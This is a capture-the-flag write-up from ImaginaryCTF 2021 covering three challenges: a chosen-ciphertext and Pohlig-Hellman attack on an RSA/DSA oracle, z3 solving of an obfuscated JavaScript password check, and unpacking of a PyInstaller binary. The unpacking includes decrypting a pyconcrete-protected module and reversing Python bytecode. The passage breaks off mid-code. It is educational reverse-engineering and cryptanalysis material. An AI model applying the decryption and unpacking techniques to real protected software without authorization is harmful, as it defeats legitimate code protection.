ImaginaryCTF 2021
ZKPoD (19 Solves, 400 points)
By Qyn
Pointing at a butterfly Is this a zero knowledge proof of decryption?
We're given an oracle which implements a combination of DSA and RSA. Initially, we're given the encrypted flag and we can provide encrypted data to the oracle which signs it for us, we can also note that we can maybe use a chosen ciphertext attack.
For the signing part, it generates a random integer k in range, 0, P-1. It then calculates r = g^k mod P and s = k - x * e (mod P - 1), where e is more or less random and we're given r and s.
We can notice that we can actually calculate:
rs = r^(-s)
rs = r^(-k + x * e)
rs = g^(k - k + x * e)
rs = g^(x * e)
Because s is done mod P - 1
From here we could calculate g^x, but since P - 1 % 2 == 0 and so gcd(e, P-1), is most likely not 1, we'd have to do 4 times as many requests.
Now we're going to apply the RSA chosen ciphertext attack. Suppose we send ct * 2^e, when this is decrypted, it will result in pt * 2. However, this is maybe done mod N if pt * 2 > N. We also send ct which is decrypted normally into pt, not done mod N. In the end, what we will receive is:
rs_1 = g^((2 * pt mod N) * e_1)
rs_2 = g^(pt * e_2)
To equalize we can calculate rs_1 = rs_1^(e_2) and rs_2 = rs_2^(2 * e_1). Now we have the following two equations:
rs_1 = g^((2 * pt mod N) * e_1 * e_2)
rs_2 = g^(2 * pt * e_1 * e_2)
Now we can notice a difference if 2 * pt > N since the exponent is done mod phiN and not mod N.
From here we can find the flag using a binary search, normally in RSA if 2 * pt > N, then it will return an uneven number since N is odd, however, when 2 * pt < N, it will return an even number because of the multiplication by 2. We can also notice this difference in our algorithm if rs_1 != rs_2. We can repeat this with factors of 2. Generally:
if rs_1 == rs_2:
UB = (UB + LB) // 2
else:
LB = (UB + LB) // 2
And:
rs_1 = g^((2^i * pt mod N) * e_1 * e_2)
rs_2 = g^(2^i * pt * e_1 * e_2)
To speed up the search, we don't need to request rs_1 and rs_2 for every iteration, but rather set rs_2 = rs_1 at the end of every iteration and do rs_2 = rs_2^2.
For implementation of this see solve1.py.
And running the exploit will give us the flag:
ictf{gr0up5_should_b3_pr1me_0rd3r_dummy}
Another method
During the CTF, the flag didn't make much sense, but instead hinted towards Pohlig-Hellman.
However, P - 1 isn't smooth enough to calculate k, but since it's partially smooth, we can calculate k mod n and from there we can calculate x mod n.
From a partial Pohlig-Hellman algorithm (See solve2.py for the algorithm), we can derive k mod 83675832665710. From here we can solve for x in the equation for s:
s = k - x * e mod P_1
s + x * e = k mod P_1
x * e = k - s mod P_1
x = (k - s) * e^(-1) mod P_1
Where we can fill in for k:
x = ((k mod 83675832665710) - s) * e^(-1) mod P_1
P_2 = 83675832665710
x = (k - s) * e^(-1) mod P_2
And from here all the values are known and we can perform a the same binary search as in method 1, note that we can find the flag faster using this method, since we know x mod P_2 and therefore we should be able to find x in 45 queries.
And also this will give the flag:
ictf{gr0up5_should_b3_pr1me_0rd3r_dummy}
Password Checker (15 solves, 450 points)
by JaGoTu
Description
I seem to have forgotten my password. Before I lock myself out, I immediately went to my password checker that I coded, but it amounted to no avail. I guess I will leave it to the experts.
Wrap your flag in ictf before submitting.
Attachments
http://password-checker.chal.imaginaryctf.org
Author
Zyphen
Points
450
Obfuscated JavaScript
The site has a single textbox to input the password, and after pressing the button it is checked in JavaScript. The relevant part of the JavaScript after deobfuscation is this:
order = "3|2|0|1|4"["split"]("|"),
current_step = 0x0;
while ( !! []) {
switch (order[current_step++]) {
case 0:
var checksum = 0x0;
continue;
case 1:
for (var index = 0x0; index < password["length"]; index++) {
summed += password["charCodeAt"](index),
xored ^= password["charCodeAt"](index),
checksum = (checksum << 0x5) - checksum + password["charCodeAt"](index)
};
continue;
case 2:
var xored = 0x0;
continue;
case 3:
var summed = 0x0;
continue;
case 4:
console["log"](summed, xored, checksum); ! /[^ZYPH3NAFUR1GT_BMKLE.0]/ ["test"](password) &&
summed == 0x7e8 &&
xored == 0x7e &&
checksum == -0x28dd475e &&
password["charCodeAt"](0x0) - password["charCodeAt"](0x1) == 0x1 &&
Math["floor"](password["charCodeAt"](0x1) * password["charCodeAt"](0x2) * password["charCodeAt"](0x3) / 0x736) == 0x115 &&
password["charCodeAt"](0x4) + password["charCodeAt"](0x5) - password["charCodeAt"](0x6) + password["charCodeAt"](0x7) == 0x72 &&
Math["floor"](password["charCodeAt"](0x8) * password["charCodeAt"](0x9) / password["charCodeAt"](0xa) * password["charCodeAt"](0xb)) == 0xcb1 &&
Math["floor"](password["charCodeAt"](0xd) / password["charCodeAt"](0xc) / password["charCodeAt"](0xe) * password["charCodeAt"](0xf)) == 0x1 &&
(password["charCodeAt"](0x10) &&
password["charCodeAt"](0x12) == "ZYPH3NAFUR1GT_BMKLE.0"["length"] << 0x2) &&
password["charCodeAt"](0x6) == password["charCodeAt"](0x11) &&
Math["floor"](password["charCodeAt"](0x13) * password["charCodeAt"](0x14) / password["charCodeAt"](0x15)) == 0x2e &&
password["charCodeAt"](0x16) + password["charCodeAt"](0x17) - password["charCodeAt"](0x18) == 0x74 &&
password["charCodeAt"](0x19) + password["charCodeAt"](0x1a) + password["charCodeAt"](0x1b) == 0x8a &&
alert("Congrats!!!");
continue
};
break
}
The steps are in order 3-2-0-1-4, so first summed, xored and checksum are inited to zero, then in #1 the values of them are calculated, and then in #4 the actual checking takes place. The conditions mostly just take triplets of characters and check some conditions on them.
Z3 and guessing
This looks like a task for z3, so we implement all the conditions:
from z3 import *
chars = []
sum = 0
xored = 0
checksum = 0
s = SolverFor("QF_BV")
for i in range(28):
curr = BitVec('c' + str(i), 32)
chars.append(curr)
sum += curr
xored ^= curr
checksum = 31*checksum + curr
lol = (curr == ord('Z'))
for c in "YPH3NAFUR1GT_BMKLE.0":
lol = Or(lol, curr == ord(c))
s.add(lol)
def floor_div(top, bottom, res):
s.add(top > bottom*res)
s.add(top < bottom*res+bottom)
password = chars
s.add(sum==0x7e8)
s.add(xored == 0x7e)
s.add(checksum == 0xD722B8A2)
s.add(password[0x0] - password[0x1] == 0x1)
floor_div(password[0x1] * password[0x2] * password[0x3], 0x736, 0x115)
s.add(password[0x4] + password[0x5] - password[0x6] + password[0x7] == 0x72)
floor_div(password[0x8] * password[0x9] * password[0xb], password[0xa], 0xcb1)
floor_div(password[0xd]*password[0xf], password[0xc] * password[0xe],1 )
s.add(password[0x12] == 84)
s.add(password[0x6] == password[0x11])
floor_div(password[0x13] * password[0x14], password[0x15], 0x2e)
s.add(password[0x16] + password[0x17] - password[0x18] == 0x74)
s.add(password[0x19] + password[0x1a] + password[0x1b] == 0x8a)
print(s.check())
m = s.model()
out = ''
for i in range(28):
out += chr(m[password[i]].as_long())
print(out)
However, the search space is too large even when using the parallel evaluator ☹. As we mentioned earlier, the characters are mostly conditioned in triplets. So let's try to go for a more guessy approach, just see all the possible triplets and guess the ones that look the most english-y.
The last triplet is easy:
$ cat test.py
import sys
lol = 'ZYPH3NAFUR1GT_BMKLE.0'
for a in lol:
for b in lol:
for c in lol:
if ((ord(a)+ord(b)+ord(c))) == 0x8a:
print(a+b+c)
$ python3 test.py
...
For the second to last triplet we get multiple options:
$ cat test.py
import sys
lol = 'ZYPH3NAFUR1GT_BMKLE.0'
for a in lol:
for b in lol:
for c in lol:
if ((ord(a)+ord(b)-ord(c))) == 0x74:
print(a+b+c+"...")
$ python3 test.py
ZH....
Z_E...
ZM3...
ZK1...
YN3...
YK0...
YL1...
PU1...
PR....
PT0...
HZ....
H_3...
NY3...
NT....
F_1...
UP1...
UR3...
UM....
RP....
RU3...
RR0...
TP0...
TN....
_ZE...
_H3...
_F1...
_E0...
MZ3...
MU....
KZ1...
KY0...
LY1...
E_0...
After looking at this, the most english-like options are the RU3... and UR3.... So let's try the previous triplet with both of these:
import sys
lol = 'ZYPH3NAFUR1GT_BMKLE.0'
for a in lol:
for b in lol:
for c in lol:
if (ord(a)*ord(b)//ord(c)) == 0x2e:
print(a+b+c+"UR3...")
print(a+b+c+"RU3...")
Not gonna include the full output, but one of them was 0RTUR3..., which looks a lot like torture :) so we also guess _T before that.
Now let's try from the other side: the first three characters are actually a bit special, as the second character is in two conditions, password["charCodeAt"](0x0) - password["charCodeAt"](0x1) == 0x1 and Math["floor"](password["charCodeAt"](0x1) * password["charCodeAt"](0x2) * password["charCodeAt"](0x3) / 0x736) == 0x115. Let's bruteforce both of them at once:
$ cat test.py
import sys
lol = 'ZYPH3NAFUR1GT_BMKLE.0'
for a in lol:
if chr(ord(a)-1) in lol:
for b in lol:
for c in lol:
if ((ord(a)-1)*ord(b)*ord(c))//0x736== 0x115:
print(a+chr(ord(a)-1)+b+c)
$ python3 test.py
ZYPH
ZYHP
HGUU
HG_L
HGL_
NMF_
NM_F
GF_M
GFM_
MLZK
MLG_
ML_G
MLKZ
LKZL
LKH_
LK_H
LKLZ
Hm, one of them is ZYPH, and the author of this challenge is... Zyphen. :) Also, as password[0x6] == password[0x11], we know the 7th character will be '_':
import sys
lol = 'ZYPH3NAFUR1GT_BMKLE.0'
for a in lol:
for b in lol:
for c in ['_']:
for d in lol:
if ((ord(a)+ord(b)-ord(c))+ord(d)) == 0x72:
print("ZYPH" + a+b+c+d)
There's only one result containing ZYPHEN or ZYPH3N, and that is ZYPH3N_P.
To sum it all up, we know the password looks like the following:
ZYPH3N_P?????????_T0RTUR3...
That should be enough for our Z3 :) Let's add the following to the original script:
s.add(password[27] == ord('.'))
s.add(password[26] == ord('.'))
s.add(password[25] == ord('.'))
s.add(password[24] == ord('3'))
s.add(password[23] == ord('R'))
s.add(password[22] == ord('U'))
s.add(password[21] == ord('T'))
s.add(password[20] == ord('R'))
s.add(password[19] == ord('0'))
s.add(password[18] == ord('T'))
s.add(password[17] == ord('_'))
s.add(password[0] == ord('Z'))
s.add(password[1] == ord('Y'))
s.add(password[2] == ord('P'))
s.add(password[3] == ord('H'))
s.add(password[4] == ord('3'))
s.add(password[5] == ord('N'))
s.add(password[6] == ord('_'))
s.add(password[7] == ord('P'))
And after a while we get the result:
$ python3 checker.py
sat
ZYPH3N_P1Z_F0RG3T_T0RTUR3..
The flag is ictf{ZYPH3N_P1Z_F0RG3T_T0RTUR3...}.
Nesting Snakes (5 solves, 400 points)
by JaGoTu
Description
Description
I know turtles go all the way down, but what about snakes?
Attachments
* nesting_snakes
Author
Robin_Jadoul
Points
400
🐍 Pyinstaller
We are given a pretty big executable ELF file:
$ file nesting_snakes
nesting_snakes: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=277dc5acf4d7b9140218325bbc133b79cd3c998e, for GNU/Linux 2.6.32, stripped
$ ls -lah nesting_snakes
-rwxrwxrwx 1 jagotu jagotu 7.2M Jul 24 19:40 nesting_snakes
When we tried to run it, we got the following error:
$ ./nesting_snakes
[394] Error loading Python lib '/tmp/_MEIeDa6bW/libpython3.9.so.1.0': dlopen: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.33' not found (required by /tmp/_MEIeDa6bW/libpython3.9.so.1.0)
We could spend some time trying to figure out the libc problem... But this is rev so technically we don't need to run the binary, right?
Given the name of the challenge and the size of the binary (there are probably more scientific methods to figure it out), I expected a pyinstaller binary. To cite from https://pyinstaller.readthedocs.io/:
PyInstaller bundles a Python application and all its dependencies into a single package. The user can run the packaged app without installing a Python interpreter or any modules.
There's a package called pyinstxtractor that can be used to extract the installer most of the times, but from my experience it works best on Windows binaries and is more hit-or-miss on Linux ones. The same story here:
$ python3 pyinstxtractor.py nesting_snakes
[+] Processing nesting_snakes
[!] Error : Unsupported pyinstaller version or not a pyinstaller archive
Luckily, if you can somehow get the pydata from the binary, pyinstxtractor will extract that for you. To get the pydata, we just use 7z:
$ 7z x nesting_snakes
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=C.UTF-8,Utf16=on,HugeFiles=on,64 bits,8 CPUs Intel(R) Core(TM) i7-4771 CPU @ 3.50GHz (306C3),ASM,AES-NI)
Scanning the drive for archives:
1 file, 7452136 bytes (7278 KiB)
Extracting archive: nesting_snakes
--
Path = nesting_snakes
Type = ELF
Physical Size = 7452136
CPU = AMD64
64-bit = +
Host OS = None
Characteristics = Executable file
Headers Size = 2472
Everything is Ok
Files: 28
Size: 7442756
Compressed: 7452136
$ file pydata
pydata: zlib compressed data
$ python3 pyinstxtractor.py pydata
[+] Processing pydata
[+] Pyinstaller version: 2.1+
[+] Python version: 39
[+] Length of package: 7400207 bytes
[+] Found 74 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_pkgutil.pyc
[+] Possible entry point: pyi_rth_multiprocessing.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: main.pyc
Traceback (most recent call last):
File "pyinstxtractor.py", line 390, in <module>
main()
File "pyinstxtractor.py", line 379, in main
arch.extractFiles()
File "pyinstxtractor.py", line 279, in extractFiles
self._writeRawData(entry.name, data)
File "pyinstxtractor.py", line 237, in _writeRawData
with open(nm, 'wb') as f:
PermissionError: [Errno 13] Permission denied: '/stuff.pye'
Hm, seems it tries to write stuff.pye to the root directory. If you feel particularly YOLO, you could probably just run it with sudo, but we decide to instead patch pyinstxtractor, adding these two lines to _writeRawData:
if nm[0] == '/':
nm = '.' + nm
After that we can extract succesfully:
$ python3 pyinstxtractor.py pydata
[+] Processing pydata
[+] Pyinstaller version: 2.1+
[+] Python version: 39
[+] Length of package: 7400207 bytes
[+] Found 74 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_pkgutil.pyc
[+] Possible entry point: pyi_rth_multiprocessing.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: main.pyc
[!] Warning: This script is running in a different Python version than the one used to build the executable.
[!] Please run this script in Python39 to prevent extraction errors during unmarshalling
[!] Skipping pyz extraction
[+] Successfully extracted pyinstaller archive: pydata
You can now use a python decompiler on the pyc files within the extracted directory
🐍🐍 main.pyc
The first idea we get is to decompile main.pyc. However, both uncompyle6 and decompyle3 fail on the binary. Apparently, adding support for Python 3.9 is kinda hard. The maintainer of uncompyle6 has the following to say about that:
Right now I have a full-time job which keeps me very busy.
I'd have to do this on the weekends. Getting a rudimentary 3.9 that works almost as well as 3.8 might be 2 or 3 weekends and would be in the decompyle3 project.
To do a proper job would require a reworking of control flow using https://github.com/rocky/python-control-flow . If that were that done, we'd see a general improvement, and probably would be able to handle future Python bytecode and also use this approach in other decompilers. But even after I start, it will to take a long time.
So, what I propose for now is support me in this project for whatever amount seems right to you. When there are enough people interested and about USD $2,025 is collected, I'll spend the time to do it.
Edit: over time the dollar amount may go up, especially at times when I get duplicate requests of this issue such as in #347. Even as the figure stands now, it is a bit low for the amount of effort to do a decent job.
(see https://github.com/rocky/python-uncompyle6/issues/331#issuecomment-794736502)
So guess we'll just have to work with the xdis disassembler, which works just fine (I shortened the constants quite a bit):
$ pydisasm main.pyc
# pydisasm version 5.0.11
# Python bytecode 3.8 (3413)
# Disassembled from Python 3.8.5 (default, Jan 27 2021, 15:41:15)
# [GCC 9.3.0]
# Timestamp in code: 0 (1970-01-01 01:00:00)
# Source code size mod 2**32: 0 bytes
# Method Name: <module>
# Filename: main.py
# Argument count: 0
# Position-only argument count: 0
# Keyword-only arguments: 0
# Number of locals: 0
# Stack size: 6
# Flags: 0x00000040 (NOFREE)
# First Line: 1
# Constants:
# 0: 0
# 1: None
# 2: 358
# 3: (20, -23488, 85, [...], 61, 204, -220885)
# 4: (137, 1351, [...], 863, 1827)
# 5: ''
# 6: 1
# 7: 'Congratulations'
# Names:
# 0: pyconcrete
# 1: stuff
# 2: sys
# 3: os
# 4: _
# 5: __
# 6: ___
# 7: argv
# 8: f
# 9: print
1: 0 LOAD_CONST (0)
2 LOAD_CONST (None)
4 IMPORT_NAME (pyconcrete)
6 STORE_NAME (pyconcrete)
2: 8 LOAD_CONST (0)
10 LOAD_CONST (None)
12 IMPORT_NAME (stuff)
14 STORE_NAME (stuff)
3: 16 LOAD_CONST (0)
18 LOAD_CONST (None)
20 IMPORT_NAME (sys)
22 STORE_NAME (sys)
24 LOAD_CONST (0)
26 LOAD_CONST (None)
28 IMPORT_NAME (os)
30 STORE_NAME (os)
5: 32 LOAD_CONST (358)
34 STORE_NAME (_)
6: 36 BUILD_LIST 0
38 LOAD_CONST ((20, -23488, 85, [...], 61, 204, -220885))
40 CALL_FINALLY (to 43)
42 STORE_NAME (__)
7: 44 BUILD_LIST 0
46 LOAD_CONST ((137, 1351, [...], 863, 1827))
48 CALL_FINALLY (to 51)
50 STORE_NAME (___)
9: 52 LOAD_NAME (sys)
54 LOAD_ATTR (argv)
56 LOAD_CONST ('')
58 BUILD_LIST 1
60 BINARY_ADD
62 LOAD_CONST (1)
64 BINARY_SUBSCR
66 STORE_NAME (f)
11: 68 LOAD_NAME (stuff)
70 LOAD_METHOD (_)
72 LOAD_NAME (_)
74 LOAD_NAME (__)
76 LOAD_NAME (___)
78 LOAD_NAME (f)
80 CALL_METHOD 4
82 LOAD_NAME (f)
84 CALL_FUNCTION 1
86 POP_JUMP_IF_FALSE (to 96)
12: 88 LOAD_NAME (print)
90 LOAD_CONST ('Congratulations')
92 CALL_FUNCTION 1
94 POP_TOP
>> 96 LOAD_CONST (None)
98 RETURN_VALUE
When rewritten in python ("manually decompiled"), the code looks something like this:
import pyconcrete
import stuff
import sys
import os
_ = 358
__ = [20, -23488, 85, [...], 61, 204, -220885]
___ = [137, 1351, [...], 863, 1827]
f = (sys.argv + [''])[1]
if stuff._(_, __, ___, f)(f):
print("Congratulations")
We see that stuff._ returns a function that must return True. So let's dig into stuff.
🐍🐍🐍 stuff.pye
The stuff is in the form of a pye, which I haven't seen yet. Apparently, it's to do with pyconcrete:
Protect your python script, encrypt .pyc to .pye and decrypt when import it
Protect python script work flow
- your_script.py
import pyconcrete- pyconcrete will hook import module
- when your script do
import MODULE, pyconcrete import hook will try to findMODULE.pyefirst and then decryptMODULE.pyevia_pyconcrete.pydand execute decrypted data (as .pyc content)- encrypt & decrypt secret key record in
_pyconcrete.pyd(like DLL or SO) the secret key would be hide in binary code, can't see it directly in HEX view
(see https://github.com/Falldog/pyconcrete)
Secret key would be hide? Whitebox crypto is notoriously hard (see https://whibox.io/), so I fully expect memecrypto. If we throw the _pyconcrete.cpython-39-x86_64-linux-gnu.so into IDA, we see the following snippet:
oaes_key_gen_128(v20);
if ( dword_9034 )
{
dword_9034 = 0;
xmmword_9020 = (__int128)_mm_xor_si128(_mm_load_si128((const __m128i *)&xmmword_6910), (__m128i)xmmword_9020);
}
oaes_key_import_data(v20, &xmmword_9020, 0x10uLL);
Seems the key is just simply stored in two parts that are xored together :) But I guess if the bar you set for yourself is can't see it directly in HEX view, you don't need a lot.
Besides, we actually don't have to reverse the encryption, at all. We can just call the "hooks" manually like so:
import _pyconcrete
with open('stuff.pye', 'rb') as f:
data = f.read()
dec = _pyconcrete.decrypt_buffer(data)
with open('stuff.pyc', 'wb') as f:
f.write(dec)
If you run python3.9 and have _pyconcrete.cpython-39-x86_64-linux-gnu.so next to this script, running this script you'll get the decrypted module in regular pyc.
🐍🐍🐍🐍 stuff.pyc
Let's disassemble stuff.pyc. I won't include the full disassembly, but here is the code rewritten in python (I renamed private underscore names to a, b, c, d etc.):
import random
import types
_____ = lambda: False
def _(a, b, c, d):
random.seed(sum(d.encode()))
random.shuffle(b)
j = []
for val in c:
f = val
h = a
for g in "{:b}".format(f)[1:]:
if(b[h] >= 0):
return _____
if not int(g):
h = abs(b[h]) // len(b)
else:
h = abs(b[h]) % len(b)
if b[h] < 0:
return _____
j.append(b[h])
return types.FunctionType(types.CodeType(1, 0, 0, 7, 38, 67, bytes(j), (None, 0, True, -1, (1, 0, 0, 1, 0, -1, 1, -1, -1, 0, 0, -1, 0, 0, -1, 1), (1, 1, 1, 0, -1, 0, -1, -1, 1, 1, -1, 1, 0, 0, 0, -1), (0, 0, 1, 0, -1, 1, -1, -1, 0, 0, 1, 1, -1, -1, 0, -1), (0, 1, 0, 1, -1, -1, 1, 0, -1, 0, 1, 1, 1, -1, -1, 0), (0, 0, 0, 0, -1, 1, 0, -1, -1, -1, 1, 1, -1, -1, 0, 0), (0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, -1, 1, -1, 0), (-1, 0, -1, 1, 1, 1, -1, 0, 1, -1, -1, 0, -1, 0, 1, 1), (0, 1, -1, 1, 1, 1, 1, 1, -1, 1, -1, 1, 0, 1, -1, 0), (0, 0, 1, 1, -1, 1, -1, 0, 1, 1, -1, 1, 1, 1, -1, -1), (-1, 1, 0, -1, 1, 1, 1, 0, 1, -1, 0, 0, -1, 1, 0, -1), (0, 0, -1, 1, -1, 0, 0, 0, -1, -1, -1, 1, -1, 1, 1, -1), (0, 0, -1, 1, -1, 1, -1, -1, 1, -1, -1, -1, 0, 1, 0, 0), (0, -1, 0, 0, -1, -1, -1, -1, -1, 0, -1, 0, -1, 0, 0, -1), (0, -1, 0, -1, 1, 1, 0, 1, -1, 1, 1, 0, 0, 1, -1, -1), (0, 0, 1, -1, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, -1), (1, 1, 1, 1, -1, 1, 1, 0, -1, 0, 0, -1, 1, 0, -1, 1), (0, -1, 1, -1, 1, 0, 1, -1, -1, 0, -1, -1, 0, 0, -1, -1), (0, -1, -1, -1, 1, -1, 1, 1, -1, -1, 0, 0, 0, -1, -1, 0), (0, 0, -1, -1, -1, -1, -1, 1, 1, 0, -1, -1, 0, -1, -1, 1), 16, 1, False), ('random', 'zip', 'seed', 'range', 'append', 'randint'), ('f', 'random', '_____', '___', '____', '_', '__'), '', '', 0, b'', (), ()), {'__builtins__', __builtins__})
The first three arguments to this function are constant, the fourth one is the command-line argument. If something goes wrong, the failure lambda (_____) is returned, otherwise j is used as bytecode for the returned function. As we can see, from the input only the sum of its bytes is used, and we can probably bruteforce that. Let's use a slightly modified version of this function for this:
import random
a = 358
c = [137, 1351, [...] , 863, 1827]
def f_(a,_,c,d):
#random.seed(sum(d.encode()))
b = [20, -23488, [...], 204, -220885]
random.seed(d)
random.shuffle(b)
j = []
for val in c:
f = val
h = a
for g in "{:b}".format(f)[1:]:
if(b[h] >= 0):
return False
if not int(g):
h = abs(b[h]) // len(b)
else:
h = abs(b[h]) % len(b)
if b[h] < 0:
return False
j.append(b[h])
return j
for i in range(10000):
res = f_(a, None, c, i)
if res != False:
print(i)
print(res)
$ python3 brutesum.py
3299
[100, 1, 100, 0, 108, 0, 125, 1, 100, 2, 125, 2, 116, 1, 124, 0, 100, 0, 100, 0, 100, 3, 133, 3, 25, 0, 103, 0, 100, 4, 162, 1, 103, 0, 100, 5, 162, 1, 103, 0, 100, 6, 162, 1, 103, 0, 100, 7, 162, 1, 103, 0, 100, 8, 162, 1, 103, 0, 100, 9, 162, 1, 103, 0, 100, 7, 162, 1, 103, 0, 100, 10, 162, 1, 103, 0, 100, 11, 162, 1, 103, 0, 100, 8, 162, 1, 103, 0, 100, 12, 162, 1, 103, 0, 100, 9, 162, 1, 103, 0, 100, 13, 162, 1, 103, 0, 100, 9, 162, 1, 103, 0, 100, 8, 162, 1, 103, 0, 100, 14, 162, 1, 103, 0, 100, 9, 162, 1, 103, 0, 100, 6, 162, 1, 103, 0, 100, 15, 162, 1, 103, 0, 100, 15, 162, 1, 103, 0, 100, 16, 162, 1, 103, 0, 100, 17, 162, 1, 103, 0, 100, 9, 162, 1, 103, 0, 100, 18, 162, 1, 103, 0, 100, 8, 162, 1, 103, 0, 100, 14, 162, 1, 103, 0, 100, 5, 162, 1, 103, 0, 100, 6, 162, 1, 103, 0, 100, 7, 162, 1, 103, 0, 100, 8, 162, 1, 103, 0, 100, 19, 162, 1, 103, 0, 100, 20, 162, 1, 103, 0, 100, 5, 162, 1, 103, 0, 100, 21, 162, 1, 103, 0, 100, 22, 162, 1, 103, 35, 131, 2, 68, 0, 93, 68, 92, 2, 125, 3, 125, 4, 124, 1, 160, 2, 124, 3, 161, 1, 1, 0, 103, 0, 125, 5, 116, 3, 100, 23, 131, 1, 68, 0, 93, 24, 125, 6, 124, 5, 160, 4, 124, 1, 160, 5, 100, 3, 100, 24, 161, 2, 161, 1, 1, 0, 144, 1, 113, 16, 124, 5, 124, 4, 107, 3, 114, 242, 100, 25, 125, 2, 113, 242, 124, 2, 83, 0]
So that gives us the (hopefully) last bytecode to reverse :)
🐍🐍🐍🐍🐍 Decrypted bytecode
We can use xdis directly to decompile this bytecode:
import types
from xdis.version_info import PYTHON_VERSION
import xdis
j = [100, 1, 100, 0, 108, 0, 125, 1, 100, 2, 125, 2, 116, 1, 124, 0, 100, 0, 100, 0, 100, 3, 133, 3, 25, 0, 103, 0, 100, 4, 162, 1, 103, 0, 100, 5, 162, 1, 103, 0, 100, 6, 162, 1, 103, 0, 100, 7, 162, 1, 103, 0, 100, 8, 162, 1, 103, 0, 100, 9, 162, 1, 103, 0, 100, 7, 162, 1, 103, 0, 100, 10, 162, 1, 103, 0, 100, 11, 162, 1, 103, 0, 100, 8, 162, 1, 103, 0, 100, 12, 162, 1, 103, 0, 100, 9, 162, 1, 103, 0, 100, 13, 162, 1, 103, 0, 100, 9, 162, 1, 103, 0, 100, 8, 162, 1, 103, 0, 100, 14, 162, 1, 103, 0, 100, 9, 162, 1, 103, 0, 100, 6, 162, 1, 103, 0, 100, 15, 162, 1, 103, 0, 100, 15, 162, 1, 103, 0, 100, 16, 162, 1, 103, 0, 100, 17, 162, 1, 103, 0, 100, 9, 162, 1, 103, 0, 100, 18, 162, 1, 103, 0, 100, 8, 162, 1, 103, 0, 100, 14, 162, 1, 103, 0, 100, 5, 162, 1, 103, 0, 100, 6, 162, 1, 103, 0, 100, 7, 162, 1, 103, 0, 100, 8, 162, 1, 103, 0, 100, 19, 162, 1, 103, 0, 100, 20, 162, 1, 103, 0, 100, 5, 162, 1, 103, 0, 100, 21, 162, 1, 103, 0, 100, 22, 162, 1, 103, 35, 131, 2, 68, 0, 93, 68, 92, 2, 125, 3, 125, 4, 124, 1, 160, 2, 124, 3, 161, 1, 1, 0, 103, 0, 125, 5, 116, 3, 100, 23, 131, 1, 68, 0, 93, 24, 125, 6, 124, 5, 160, 4, 124, 1, 160, 5, 100, 3, 100, 24, 161, 2, 161, 1, 1, 0, 144, 1, 113, 16, 124, 5, 124, 4, 107, 3, 114, 242, 100, 25, 125, 2, 113, 242, 124, 2, 83, 0]
co = types.CodeType(1, 0, 0, 7, 38, 67, bytes(j), (None, 0, True, -1, (1, 0, 0, 1, 0, -1, 1, -1, -1, 0, 0, -1, 0, 0, -1, 1), (1, 1, 1, 0, -1, 0, -1, -1, 1, 1, -1, 1, 0, 0, 0, -1), (0, 0, 1, 0, -1, 1, -1, -1, 0, 0, 1, 1, -1, -1, 0, -1), (0, 1, 0, 1, -1, -1, 1, 0, -1, 0, 1, 1, 1, -1, -1, 0), (0, 0, 0, 0, -1, 1, 0, -1, -1, -1, 1, 1, -1, -1, 0, 0), (0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, -1, 1, -1, 0), (-1, 0, -1, 1, 1, 1, -1, 0, 1, -1, -1, 0, -1, 0, 1, 1), (0, 1, -1, 1, 1, 1, 1, 1, -1, 1, -1, 1, 0, 1, -1, 0), (0, 0, 1, 1, -1, 1, -1, 0, 1, 1, -1, 1, 1, 1, -1, -1), (-1, 1, 0, -1, 1, 1, 1, 0, 1, -1, 0, 0, -1, 1, 0, -1), (0, 0, -1, 1, -1, 0, 0, 0, -1, -1, -1, 1, -1, 1, 1, -1), (0, 0, -1, 1, -1, 1, -1, -1, 1, -1, -1, -1, 0, 1, 0, 0), (0, -1, 0, 0, -1, -1, -1, -1, -1, 0, -1, 0, -1, 0, 0, -1), (0, -1, 0, -1, 1, 1, 0, 1, -1, 1, 1, 0, 0, 1, -1, -1), (0, 0, 1, -1, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, -1), (1, 1, 1, 1, -1, 1, 1, 0, -1, 0, 0, -1, 1, 0, -1, 1), (0, -1, 1, -1, 1, 0, 1, -1, -1, 0, -1, -1, 0, 0, -1, -1), (0, -1, -1, -1, 1, -1, 1, 1, -1, -1, 0, 0, 0, -1, -1, 0), (0, 0, -1, -1, -1, -1, -1, 1, 1, 0, -1, -1, 0, -1, -1, 1), 16, 1, False), ('random', 'zip', 'seed', 'range', 'append', 'randint'), ('f', 'random', '_____', '___', '____', '_', '__'), '', '', 0, b'', (), ())
xdis.disasm.disco(PYTHON_VERSION, co, 0)
Again, I'll only provide the code rewritten in python for posterity (with some renames and shortened constant):
import random
def method(f):
superarray = [
(1, 0, 0, 1, 0, -1, 1, -1, -1, 0, 0, -1, 0, 0, -1, 1),
[...]]
(0, 0, -1, -1, -1, -1, -1, 1, 1, 0, -1, -1, 0, -1, -1, 1)
]
for (c, nums) in zip(flag[::-1], superarray):
result = True
random.seed(c)
generated = []
for i in range(16):
generated.append(random.randint(-1, 1))
if generated != nums:
result = False
return result
So, every character of the input is used as a seed, 16 values are generated and then compared to the corresponding superarray tuple. We'll build a dictionary of the resulting tuple for each character and then lookup the superarray values in it and get the flag :)
import random
superarray = [
(1, 0, 0, 1, 0, -1, 1, -1, -1, 0, 0, -1, 0, 0, -1, 1),
(1, 1, 1, 0, -1, 0, -1, -1, 1, 1, -1, 1, 0, 0, 0, -1),
(0, 0, 1, 0, -1, 1, -1, -1, 0, 0, 1, 1, -1, -1, 0, -1),
(0, 1, 0, 1, -1, -1, 1, 0, -1, 0, 1, 1, 1, -1, -1, 0),
(0, 0, 0, 0, -1, 1, 0, -1, -1, -1, 1, 1, -1, -1, 0, 0),
